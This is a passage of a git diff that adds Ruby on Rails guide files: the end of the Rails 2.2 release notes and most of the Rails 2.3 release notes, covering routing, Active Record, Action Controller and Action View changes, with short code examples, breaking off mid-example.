+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+```
+
+* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)
+* More information:
+    * [Rails Routing from the Outside In](routing.html#nested-resources)
+    * [What's New in Edge Rails: Shallow Routes](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)
+
+### Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+```ruby
+map.resources :photos, :collection => { :search => [:get, :post] }
+```
+
+* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)
+
+### Resources With Specific Actions
+
+By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources.
+
+```ruby
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+```
+
+* Lead Contributor: [Tom Stuart](http://experthuman.com/)
+
+### Other Action Controller Changes
+
+* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
+
+Action View
+-----------
+
+* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* `RJS#page.reload` to reload the browser's current location via JavaScript
+* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.
+
+Action Mailer
+-------------
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.
+
+* More information:
+    * [What's New in Edge Rails: Mailer Layouts](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+Active Support
+--------------
+
+Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.
+
+### Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+```ruby
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+```
+
+Memoization lets you handle this task in a declarative fashion:
+
+```ruby
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+```
+
+Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.
+
+* Lead Contributor: [Josh Peek](http://joshpeek.com/)
+* More information:
+    * [What's New in Edge Rails: Easy Memoization](http://archives.ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization)
+    * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)
+
+### each_with_object
+
+The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+```ruby
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
+```
+
+Lead Contributor: [Adam Keys](http://therealadam.com/)
+
+### Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+```ruby
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+```
+
+This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:
+
+```ruby
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+```
+
+This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.
+
+Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)
+
+### Other Active Support Changes
+
+* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
+* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
+* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
+* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
+* `Enumerable#many?` to encapsulate `collection.size > 1`
+* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
+* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+
+Railties
+--------
+
+In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.
+
+### config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* `config.gem _gem_name_` in your `config/environment.rb` file
+* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* `rake gems:install` to install missing gems to the computer
+* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
+* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
+* `rake gems:build` to build any missing native extensions
+* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.
+
+* Lead Contributor: [Matt Jones](https://github.com/al2o3cr)
+* More information:
+    * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
+    * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+    * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
+
+### Other Railties Changes
+
+* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
+* `script/plugin install &lt;plugin&gt; -r &lt;revision&gt;` now works with git-based as well as svn-based plugins.
+* `script/console` now supports a `--debugger` option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
+* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
+* `render_component` is deprecated. There's a [render_components plugin](https://github.com/rails/render_component/tree/master) available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+    ```ruby
+    def partial_with_implicit_local_assignment
+      @customer = Customer.new("Marcel")
+      render :partial => "customer"
+    end
+    ```
+
+    Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.
+* `ActiveRecord::Base.allow_concurrency` no longer has any effect.
+* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
+* The `%s` and `%d` interpolation syntax for internationalization is deprecated.
+* `String#chars` has been deprecated in favor of `String#mb_chars`.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
+* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com)
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
new file mode 100644
index 0000000000..6976848e95
--- /dev/null
+++ b/guides/source/2_3_release_notes.md
@@ -0,0 +1,623 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 2.3 Release Notes
+===============================
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
+
+--------------------------------------------------------------------------------
+
+Application Architecture
+------------------------
+
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
+
+### Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
+* The FCGI handler goes through Rack.
+* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
+* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* `CgiRequest` and `CgiResponse` have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
+* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
+* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
+* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
+* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
+* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
+* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
+* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
+* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
+* `ActionController::Request` inherits from `Rack::Request`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
+
+### Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
+
+Documentation
+-------------
+
+The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+
+* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+
+Ruby 1.9.1 Support
+------------------
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+Active Record
+-------------
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+### Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+```ruby
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+```
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:
+
+```ruby
+accepts_nested_attributes_for :author,
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+
+### Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+```ruby
+User.transaction do
+  User.create(:username => 'Admin')
+  User.transaction(:requires_new => true) do
+    User.create(:username => 'Regular')
+    raise ActiveRecord::Rollback
+  end
+end
+
+User.find(:all)  # => Returns only Admin
+```
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+
+* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/)
+
+### Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+```ruby
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+```
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/)
+* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://archives.ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods)
+
+### Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: [What's New in Edge Rails: Default Scoping](http://archives.ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)
+
+### Batch Processing
+
+You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`:
+
+```ruby
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+```
+
+You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+```ruby
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+```
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just `each`):
+    * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
+    * [What's New in Edge Rails: Batched Find](http://archives.ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)
+
+### Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:
+
+```ruby
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+```
+* Lead Contributor: L. Caviola
+
+### Find with having
+
+Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+```ruby
+developers = Developer.find(:all, :group => "salary",
+  :having => "sum(salary) > 10000", :select => "salary")
+```
+
+* Lead Contributor: [Emilio Tagua](https://github.com/miloops)
+
+### Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: [Dov Murik](http://twitter.com/dubek)
+* More information:
+    * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html)
+    * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
+
+### Other Active Record Changes
+
+* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
+* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
+* A bug in quoting table names in some `has_many :through` associations was fixed.
+* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
+* Better error messages on failed `find_by_attribute!` calls.
+* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
+* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
+* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.
+
+Action Controller
+-----------------
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+### Unified Rendering
+
+`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+```ruby
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+```
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+```ruby
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+```
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
+
+### Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
+
+* More Information:
+    * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+    * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
+
+### HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):
+
+```ruby
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+```
+
+* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/)
+* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://archives.ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication)
+
+### More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+
+* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)
+
+### Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
+
+### MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+```ruby
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+```
+
+The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons)
+
+### Optimization of `respond_to`
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
+
+### Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)
+
+### Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.
+
+In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+
+### Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+### Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
+* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
+* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
+* The `:requirements` option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* `polymorphic_url` does a better job of handling objects with irregular plural names.
+
+Action View
+-----------
+
+Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+### Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+```
+
+You can write this view in Rails 2.3:
+
+```html+erb
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information:
+    * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+    * [complex-form-examples](https://github.com/alloy/complex-form-examples)
+    * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
+
+### Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+```ruby
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+```
+
+* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://archives.ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance)
+
+### Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:
+
+```ruby
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+```
+
+* Lead Contributor: [Sam Oliver](http://samoliver.com/)
+
+### AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+
+### Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
+
+* More Information: [asset-hosting-with-minimum-ssl](https://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)
+
+### grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:
+
+```ruby
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+```
+
+returns
+
+```ruby
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
